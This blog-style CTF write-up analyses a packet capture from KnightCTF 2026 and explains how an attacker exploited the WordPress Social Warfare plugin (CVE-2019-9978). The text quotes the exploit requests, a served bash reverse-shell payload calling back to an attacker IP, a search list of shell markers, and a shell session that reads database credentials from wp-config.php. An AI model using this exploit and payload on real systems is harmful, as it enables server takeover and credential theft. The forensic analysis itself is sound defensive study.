KnightCTF 2026 — Post_Exploitation Writeup

A noisy capture with one loud port scan hiding the real story. Filtering the noise exposes a WordPress Social Warfare exploit, the HTTP port the attacker served the payload from, and the reverse shell that called home — exactly the two ports the flag wants.

5 min read
ibrahimsql
846 words

KnightCTF 2026 — Post_Exploitation

A network forensics challenge. We are handed a packet capture taken after a host was compromised, and a single question:

After exploiting the vulnerability, the attacker established a persistent connection back to their command and control server. Analyze the traffic to identify the HTTP port used for the initial payload delivery and the port used for the reverse shell connection.

  • Event: KnightCTF 2026
  • Category: Network / Forensics
  • Artifact: pcap3.pcapng
  • Flag format: KCTF{httpPort_revshellPort}

The answer is two numbers: the port the payload was served over, and the port the shell came back on.

1. Orientation

$ ls -l pcap3.pcapng
-rw-r--r-- 1 user user 28015176 pcap3.pcapng

It is ~28 MB and roughly 130,000 packets. The fastest way to orient in a capture this size is to rank conversations and ports:

Python
from scapy.all import rdpcap, IP, TCP
pk = rdpcap("pcap3.pcapng")
from collections import Counter
ports = Counter()
for p in pk:
    if IP in p and TCP in p:
        ports[p[TCP].dport] += 1
print(ports.most_common(10))
[(80, 50147), (54527, 2004), (443, 692), ...]

Four hosts matter: 192.168.1.101, .102, .103, .104. .102 answers on port 80 as an Apache/WordPress host — that is the victim.

2. The loud thing is a decoy

Port 54527 stands out — 2,004 packets — but every one of those flows carries zero bytes of payload. It is a sweep of bare SYN/ACK noise: one source port fanning out across many destination ports. That is a port scan, not a shell. It is the loudest signal in the capture and it has nothing to do with the flag. Good captures bury the answer under exactly this kind of noise.

3. Reassembling to find the interesting traffic

Packets do not answer questions; streams do. Reassemble each TCP direction keyed by (src, sport, dst, dport), ordering by sequence number, and then search the reconstructed streams for shell markers:

Python
S = {}
for p in pk:
    if IP in p and TCP in p and Raw in p:
        k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
        S.setdefault(k, bytearray()).extend(bytes(p[TCP].payload))
 
marks = [b"<?php", b"bash -i", b"/dev/tcp", b"payload.txt", b"swp_debug"]
for k, v in S.items():
    hits = [m.decode() for m in marks if m in bytes(v)]
    if hits:
        print(k, hits)

Two lines jump out immediately:

('192.168.1.102', 40676, '192.168.1.104', 8767)   -> ['payload.txt', 'swp_debug']
('192.168.1.104', 8767,  '192.168.1.102', 40676)  -> ['bash -i', '/dev/tcp']

The victim is connecting out to 192.168.1.104:8767 and asking for a file called payload.txt, and the server on :8767 answers with shell code. That already names the first port.

4. The exploit

The trigger is a WordPress plugin bug. Social Warfare (CVE-2019-9978) mishandles swp_debug=load_options and fetches an attacker-supplied swp_url, then stores — and executes — what it gets back. The attacker probes several URLs before one lands:

GET /wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.104:80/payload.txt HTTP/1.1
GET /wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.104:8767/payload.txt HTTP/1.1

The first tries port 80 on the attacker box; the successful variant points to port 8767. The victim then fetches it from itself:

GET /payload.txt?swp_debug=get_user_options HTTP/1.1
Host: 192.168.1.104:8767
Connection: close

And the reply is the payload — served by a throwaway python3 -m http.server:

Text
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.11
Content-type: text/plain
Content-Length: 76
 
<pre>system("bash -c \"bash -i >& /dev/tcp/192.168.1.104/9576 0>&1\"")</pre>

HTTP payload delivery port: 8767. And the served payload contains the destination for the callback: /dev/tcp/192.168.1.104/9576.

5. The reverse shell

The <pre>…</pre> wrapper is the plugin dumping the fetched option; <pre>system(...)</pre> is not meant to be printed, it is meant to be evaluated — and it is, giving the attacker a shell. The victim immediately opens a second connection to the address inside the payload:

192.168.1.102:39582 -> 192.168.1.104:9576   (37 KB exchanged)

That stream is a live interactive session between the attacker's shell on :9576 and the compromised web server:

Text
bash: cannot set terminal process group (834): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu-server-2:/var/www/html/wordpress/wp-admin$ whoami
www-data
www-data@ubuntu-server-2:/var/www/html/wordpress$ cat wp-config.php
define( 'DB_NAME', 'wordpress_db' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'wp@user123' );

The attacker lists the web root, reads wp-config.php, pulls the database credentials, and tries to reach the tareq home directory (blocked by permissions). Reverse shell port: 9576.

6. The flag

Both numbers came straight out of the traffic:

  • initial payload delivery (HTTP): 8767
  • reverse shell connection: 9576
KCTF{8767_9576}

7. Takeaways

  • Rank by conversation, not by packet count. The 2,004-packet port scan was noise; the two-line answer was a handful of packets.
  • Reassemble streams before searching. Grepping raw packets for bash -i fragmented across segments is how you miss the payload.
  • The reverse shell port was written into the payload the victim fetched — a C2 that serves its own callback address is handing over both halves of the answer.
  • python3 -m http.server (SimpleHTTP/0.6) as an attacker's delivery server is a fingerprint worth spotting: a plaintext HTTP fetch of *.txt from a non-web host is rarely benign.
  • Old plugin bugs (CVE-2019-9978 is from 2019) still own boxes in 2026 when nobody patched them.
---
Share this post:

What do you think?

React to show your appreciation

Related Posts